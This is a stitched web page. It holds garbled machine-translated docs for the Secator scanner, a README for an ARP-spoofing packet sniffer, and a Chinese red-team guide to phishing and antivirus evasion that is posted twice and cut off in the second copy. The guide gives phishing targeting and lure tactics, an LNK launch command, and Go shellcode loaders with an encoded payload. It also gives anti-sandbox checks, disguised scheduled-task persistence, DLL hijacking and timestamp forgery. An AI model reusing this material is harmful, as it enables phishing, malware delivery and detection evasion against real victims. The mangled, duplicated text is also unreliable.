Secator使用外部工具,因此您可能需要安装这些工具使用的语言,假设它们尚未安装在系统上。

如果您不进行外部管理,我们提供安装所需语言的实用程序:

GoSecator install langs go rubysecator install langs ruby

安装语言

Secator默认情况下没有安装其支持的任何外部工具。

我们提供实用程序来安装或更新每个受支持的工具,该工具应适用于支持APT:的所有系统

所有ToolssSecator安装工具特定工具secator secator sental selpt tool tool_name例如,要安装`httpx`,use: secator install install install interm httpx httpx,请确保在运行secator之前为每个工具使用最新的可用版本,否则您可能会遇到解析/格式化/格式化问题。

安装工具

Secator安装了最低依赖量。

有几个可用于Secator:

工人增加了对芹菜工人的支持(请参阅[[分布式运行芹菜](https://docs.freelabz.com/in-depth/distributed-runs-with-celery))。 Secator Install Adds Google Google添加了对Google Drive Exporter(`-o gdrive')的支持。 Secator Install添加Google MongoDB添加了对MongoDB驱动程序(`-driver Mongodb`)的支持。 Secator Install添加MongoDB Redis添加了对Redis后端(芹菜)的支持。 Secator Install Add Redis Dev添加了开发工具,例如运行测试所需的“覆盖范围”和“ flake8”。 Secator Install添加DEV跟踪添加跟踪工具,例如跟踪功能所需的“ Memray”和“ Pyinstrument”。 Secator Install添加跟踪构建添加``孵育''用于构建和发布PYPI软件包。 Secator Install添加构建

安装插件

SECATOR将远程API调用访问https://cve.circl.lu/,以获取有关其遇到的CVE的数据信息。我们提供了一个子命令,可以在本地下载所有已知的CVE,以便未来的外观是由磁盘制成的:

Secator安装CVE

安装CVE

以找出系统上安装了哪些语言或工具(以及其版本):

Secator Health

检查安装健康

Secator-Help

用法

运行模糊任务(FFUF):

Secator X FFUF http://Testphp.vulnweb.com/fuzz运行url爬网工作流:

Secator W url_crawl http://Testphp.vulnweb.com运行主机Scan:

Secator S主持mydomain.com等.列出可以使用:的所有任务/工作流/扫描

Secator X - 螺旋

隔离- 螺旋桨

Secator S-Help

用法示例

要加入Secator,请查看: *我们的完整文档*我们的入门启动教程视频*我们的媒体帖子*在twitter上@freelabz上关注我们

间谍活动是一种网络数据包嗅探器,可拦截大量通过接口的数据。该工具允许用户运行正常和冗长的流量分析,该分析显示了流量的实时供稿,揭示数据包方向,协议,标志等。间谍活动也可能欺骗ARP,因此,目标发送的所有数据都通过攻击者(MITM)重定向。间谍活动支持IPv4,TCP/UDP,ICMP和HTTP。 Espionag E用Python 3.8编写,但也支持3.6版。这是该工具的第一个版本,因此,如果您想帮助并为间谍活动添加更多信息,请联系开发人员。 Note:这不是Scapy包装器,Scapylib仅协助HTTP请求和ARP。

安装

1: git克隆3https://www.github.com/josh0xa/espionage.git

2: CD间谍活动

3: sudo python3 -m pip install -r unigess.txt

4: sudo python3 espionage.py- -help

用法

sudo python3 espionage.py- normal -iface wlan0 -f capture_output.pcap

命令1将执行干净的数据包嗅探,并将输出保存到提供的PCAP文件中。用任何网络接口替换WLAN0。 sudo python3 espionage.py-verbose -verbose -iface wlan0 -f capture_output.pcap

命令2将执行更详细的(详细)数据包嗅探,并将输出保存到提供的PCAP文件中。 sudo python3 espionage.py-正常- iface wlan0

命令3仍将执行干净的数据包嗅探,但是它不会将数据保存到PCAP文件中。建议保存嗅探。 sudo python3 espionage.py- verbose -httpraw -iface wlan0

命令4将执行详细的数据包嗅探,还将在字节中显示RAW HTTP/TCP数据包数据。 sudo python3 espionage.py-靶标目标-IP-ADDRESS -IFACE WLAN0

命令5将欺骗目标IP地址,所有发送的数据将被路由回到攻击者机器(您/Localhost)。 sudo python3 espionage.py-iface wlan0- onlyhttp

命令6仅利用HTTP协议在端口80上显示嗅觉数据包。 sudo python3 espionage.py-iface wlan0- llyhttpsecure

命令7将仅利用HTTPS(安全)协议在端口443上显示嗅探数据包。 sudo python3 espionage.py-iface wlan0- urlonly

命令8只会嗅探和返回受害者访问的嗅探网址。 (与SSLSTRIP最有效)。按CTRL+C内订单以停止数据包干扰并将输出写入文件。 espionage.py [-h] [ - version] [-n] [-v] [-url] [-o] [-ohs] [-hr] [-hr] [-f filename] -i iface

[-t目标]

可选参数:

-h, - 赫尔普显示此帮助消息和退出

- Version返回数据包嗅探器版本。

-n, - 正常执行更清洁的干扰,不太复杂。

-v, - verbose(推荐)执行更深入的数据包干扰/嗅探。

-url, - urlonly只有使用http/https访问了URL。

-o, - llyhttp仅嗅探TCP/HTTP数据,返回访问的URL。

-ohs, - 一个lyhttpsecure

仅嗅探HTTPS数据(端口443)。

-hr,-httpraw显示恢复或发送在端口80上的原始数据包数据(字节订单)。

(建议)数据输出的参数(.pcap):

-f文件名,-filename FileName

存储输出的文件名(使扩展名'.pcap')。

(必需)执行所需的参数:

-i iface,-iface iface

指定网络接口(即WLAN0,ETH0,WLAN1等)

(ARP欺骗)使用ARP Spoofing Utility :所需的参数

-t目标, - 目标目标A Linux Packet Sniffing Suite for Automated MiTM Attacks (6)

菜单

可以在此处找到简单的媒介写作:

单击此处获取官方媒介文章

010-110该计划的开发人员Josh Schiavone仅出于教育和道德目的就编写了以下代码。嗅探/拦截的数据不适用于恶意意图。 Josh Schiavone对滥用此渗透测试工具概不负责或负责。愿上帝保佑大家。

写入

MIT许可证

版权(C)2024 Josh Schiavone

简述

钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

信息搜集

批量邮箱搜集

https://app.snov.io/
http://www.skymem.info/

搜索引擎

一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱:

如 xx举报,xx招聘面对大众的邮箱,相关语法:

site:"xxx.com"  举报  
site:"xxx.com"  招聘  
  
xx公司举报 @126.com  
xx公司招聘 @qq.com

image-20231103173433363

钓鱼手法

社工钓鱼

  • 首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对
  • 选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部
  • 社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多)

邮件钓鱼

  • 群发邮件(不推荐,易被管理员发现或被邮件网关拦截)
  • 搜集关键人物个人邮箱定向投递(推荐,隐蔽性强)
福利补贴发放

紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送

image-20231104103425528

image-20230922182918302

简历投递

招聘投递简历,hr面对大量简历不会仔细查看后缀

image-20231104105527137

钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿

image-20231103155359779

举报信

xxx实名举报投诉,这种邮件一般处理反馈速度很快

bl4ikizai5w13603.png

钓鱼文件伪装

通用技巧

  • 木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测
  • 选择不常见的后缀但仍可作为exe执行,如scr、com
  • 文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀

lnk钓鱼

如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截)

快捷方式目标位置填入:

%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"

img

图标更换路径选择:

C:\\Program Files (x86)\\Microsoft\\Edge\\Application  
%SystemRoot%\\System32\\imageres.dll  
%SystemRoot%\\System32\\shell32.dll

image.png

弹框错误提示

运行msgbox提示“文件已损坏”等具有迷惑性的内容

vbs实现

On Error Resume Next  
WScript.Sleep 2000  
msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" 

go代码实现

package main  
  
import (  
    "github.com/gen2brain/dlgs"  
)  
  
func box() {  
    _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")  
  if err != nil {  
    panic(err)  
  }  
}

实现效果

image-20231103170505169

文件捆绑器

  • 绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行
  • 1.1版本 bypass常规杀软 (360、def、火绒等)
  • 1.2版本 新增文件释放后自动隐藏

image-20231103113848878

效果实现

image-20231104115308737

常见杀软类型

杀软类型杀软特点
火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒
360 单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间
360核晶 开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代
Defender 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高

基础的加载方式

以下只是基础的示例,仅仅实现加密解密加载的功能

先使用python脚本进行加密 payload.c 文件

import base64  
  
originalShellcode = b"\xfc\xe8\x89\x00"  
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])  
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')  
  
print(encodedShellcode)

image-20231104111224020

输出的内容填入encryptedShellcode进行编译

package main

import (
    "encoding/base64"
    "syscall"
    "unsafe"

    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {
    // 通过 base64 和 XOR 解密 shellcode 内容
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
    decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
    for i := 0; i < len(decodedShellcode); i++ {
        decodedShellcode[i] ^= 0x77
    }

    // 获取 kernel32.dll 中的 VirtualAlloc 函数
    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(decodedShellcode))
    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decodedShellcode)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

通用杀软bypass技巧

  • 免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用
  • 垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测
  • 选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2

一键生成免杀

臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star

免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly

千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji

编译参数的影响

go:  
-race   竞态检测编译  
-ldflags '-s -w'   去除编译信息  
-ldflags '-H windowsgui'   隐藏窗口  
  
garble(混淆库):  
-tiny                    删除额外信息  
-literals               混淆文字  
-seed=random   base64编码的随机种子

举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒

package main  
  
func main() {  
    // 两个要相乘的数字  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
}

image-20231103142821152

-H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框)

package main  
  
import "github.com/lxn/win"  
  
func main(){  
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)  
}
func box()int{  
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")  
    FreeConsole.Call()  
    return 0  
}  
  
func main() {  
  box()

静态特征处理

混淆处理

go低版本 https://github.com/boy-hack/go-strip

go高版本 https://github.com/burrowers/garble

mangle替换字符串

https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

mangle处理前后对比,可发现对go编译特征字符串替换为随机字符
image-20231104111621701

base64编码变量

cmd := exec.Command("rundll32.exe", "xxx")

关键字符串进行Base64编码,并在相应位置替换变量值

encodedCommand := "cnVuZGxsMzIuZXhl"  
encodedArguments := "MTExTdGFydA=="  
  
// 解码Base64编码的命令和参数  
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)  
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)  
  
cmd := exec.Command(string(decodedCommand), string(decodedArguments))

QVM绕过

添加资源

1、添加图标签名版权等信息内容,可使用以下项目一键添加

image-20231104111439772

https://github.com/Pizz33/360QVM_bypass
https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public
https://github.com/langsasec/Sign-Sacker

4i1h41or5ou13612.png

image-20230504161714715

行为特征

运行直接加载shellcode,一般会直接报qvm

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}

先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i < num2; i++ {  
        result += num1  
    }  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))  
    if err != nil && err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}  

好用的反沙箱技巧

出口IP判断

func san() {  
  url := "https://myip.ipip.net/"  
  
  resp, err := http.Get(url)  
  if err != nil {  
    os.Exit(1)  
  }  
  defer resp.Body.Close()  
  
  body, err := ioutil.ReadAll(resp.Body)  
  if err != nil {  
    os.Exit(1)  
  }  
  
  content := string(body)  
  
  if strings.Contains(content, "中国") {  
  } else {  
    os.Exit(1)  
  }  
  }

检测桌面文件数量

func desktop() {  
    desktopPath, err := os.UserHomeDir()  
    if err != nil {  
        fmt.Println("无法获取用户桌面路径:", err)  
        return  
    }  
  
    desktopPath = filepath.Join(desktopPath, "Desktop")  
    fileCount, err := countFilesInDir(desktopPath)  
    if err != nil {  
        fmt.Println("无法读取用户桌面文件列表:", err)  
        return  
    }  
  
    fmt.Println("用户桌面文件数:", fileCount)  
  
    if fileCount < 7 {  
        os.Exit(0)  
    }  
    // 在这里编写你的其他代码逻辑  
}

检测微信等常见软件

func CheckWeChatExist() {  
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)  
  if err != nil {  
    os.Exit(0)  
  }  
  defer k.Close()  
  
  s, _, err := k.GetStringValue("InstallDir")  
  if err != nil || s == "" {  
    os.Exit(0)  
  }  
}

检测pagefile.sys

func sys() {  
    pageFilePath := "C:\\pagefile.sys"   
    _, err := os.Stat(pageFilePath)  
    if os.IsNotExist(err) {  
        os.Exit(1)  
    } else if err != nil {  
    } else {  
    }  
}

判断系统类型

func language() {  
    language := os.Getenv("LANG")  
  
    if strings.Contains(language, "en_US") {  
        os.Exit(0)  
    } else {  
    }  
}

内存流量处理

流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源

https://github.com/9bie/oss-stinger
https://github.com/pantom2077/alioss-stinger

自定义profile,可使用以下项目随机生成

https://github.com/threatexpress/random_c2_profile

内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章

https://www.freebuf.com/articles/system/361161.html
https://idiotc4t.com/defense-evasion/load-ntdll-too

执行命令bypass

直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的

进程迁移 https://github.com/ajpc500/BOFs
截图 https://github.com/baiyies/ScreenshotBOFPlus
删除自身 https://github.com/AgeloVito/self_delete_bof
bypassuac提权 https://github.com/youcannotseemeagain/ele

可以定期去github上关注一些好用的bof
image-20231103171105881

权限维持

常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有

添加计划任务

在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软

部分实现代码:
https://github.com/capnspacehook/taskmaster

package main  
  
import (  
    "os"  
    "github.com/capnspacehook/taskmaster"  
)  
  
func runWinTask(path string) {  
    // 创建初始化计划任务  
    taskService, _ := taskmaster.Connect()  
  
    defer taskService.Disconnect()  
    // 定义新的计划任务  
    newTaskDef := taskService.NewTaskDefinition()  
    // 添加执行程序的路径  
    newTaskDef.AddAction(taskmaster.ExecAction{  
        Path: path,  
    })  
    // 定义计划任务程序的执行时间等,设置为开机启动  
    newTaskDef.AddTrigger(taskmaster.BootTrigger{  
        TaskTrigger: taskmaster.TaskTrigger{  
            Enabled: enable,  
        },  
    })  
  
    // 创建计划任务  
    result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)  
    result=result  
}  
  
func main() {  
    path, err := os.Executable()  
    if err != nil {  
        return  
    }  
  
    runWinTask(path)  
}

隐藏计划任务

具体原理可参考0x727师傅的文章

https://github.com/0x727/SchTask_0x727
https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html

  • 选择主机随机进程名作为计划任务程序文件名
  • 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\
  • 创建的计划任务名取同一随机进程
  • 计划任务触发器以分钟为单位,无限期持续
  • 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

dll劫持替换

比较常用的有 C:\Program Files (x86)\Google\Update

当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

image-20230823124612928

单个查找

https://github.com/wietze/windows-dll-hijacking

image-20231103200348808

批量查找

https://github.com/knight0x07/ImpulsiveDLLHijack

ImpulsiveDLLHijack.exe -path xxx.exe

这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

image-20231104111621701

image-20231102183639496

修改文件时间

当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急
image-20231103104619412

这时候我们可以使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果

image-20231103104702070

查看net版本

shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r  

需要安装net3.5 没有安装一下

shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe  
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs

https://github.com/MsF-NTDLL/ChTimeStamp

shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll  
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll

image-20231103104735678

https://github.com/sorabug/ChangeTimestamp

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27

image-20230505092903602

  转自于原文连接:https://forum.butian.net/share/2532
 

简述

钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

信息搜集

批量邮箱搜集

https://app.snov.io/
http://www.skymem.info/

搜索引擎

一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱:

xx举报,xx招聘面对大众的邮箱,相关语法:

site:"xxx.com"  举报  
site:"xxx.com"  招聘  
  
xx公司举报 @126.com  
xx公司招聘 @qq.com

image-20231103173433363

钓鱼手法

社工钓鱼

  • 首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对
  • 选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部
  • 社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多)

邮件钓鱼

  • 群发邮件(不推荐,易被管理员发现或被邮件网关拦截)
  • 搜集关键人物个人邮箱定向投递(推荐,隐蔽性强)
福利补贴发放

紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送

image-20231104103425528

image-20230922182918302

简历投递

招聘投递简历,hr面对大量简历不会仔细查看后缀

image-20231104105527137

钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿

image-20231103155359779

举报信

xxx实名举报投诉,这种邮件一般处理反馈速度很快

4gqa2zz5l3g13183.png

钓鱼文件伪装

通用技巧

  • 木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测
  • 选择不常见的后缀但仍可作为exe执行,如scr、com
  • 文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀

lnk钓鱼

如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截)

快捷方式目标位置填入:

%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"

img

图标更换路径选择:

C:\\Program Files (x86)\\Microsoft\\Edge\\Application  
%SystemRoot%\\System32\\imageres.dll  
%SystemRoot%\\System32\\shell32.dll

image.png

弹框错误提示

运行msgbox提示“文件已损坏”等具有迷惑性的内容

vbs实现

On Error Resume Next  
WScript.Sleep 2000  
msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" 

go代码实现

package main  
  
import (  
    "github.com/gen2brain/dlgs"  
)  
  
func box() {  
    _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")  
  if err != nil {  
    panic(err)  
  }  
}

实现效果

image-20231103170505169

文件捆绑器

  • 绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行
  • 1.1版本 bypass常规杀软 (360、def、火绒等)
  • 1.2版本 新增文件释放后自动隐藏

image-20231103113848878

效果实现

image-20231104115308737

常见杀软类型

杀软类型杀软特点
火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒
360 单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间
360核晶 开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代
Defender 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高

基础的加载方式

以下只是基础的示例,仅仅实现加密解密加载的功能

先使用python脚本进行加密 payload.c 文件

import base64  
  
originalShellcode = b"\xfc\xe8\x89\x00"  
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])  
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')  
  
print(encodedShellcode)

image-20231104111224020

输出的内容填入encryptedShellcode进行编译

package main

import (
    "encoding/base64"
    "syscall"
    "unsafe"

    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {
    // 通过 base64 和 XOR 解密 shellcode 内容
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf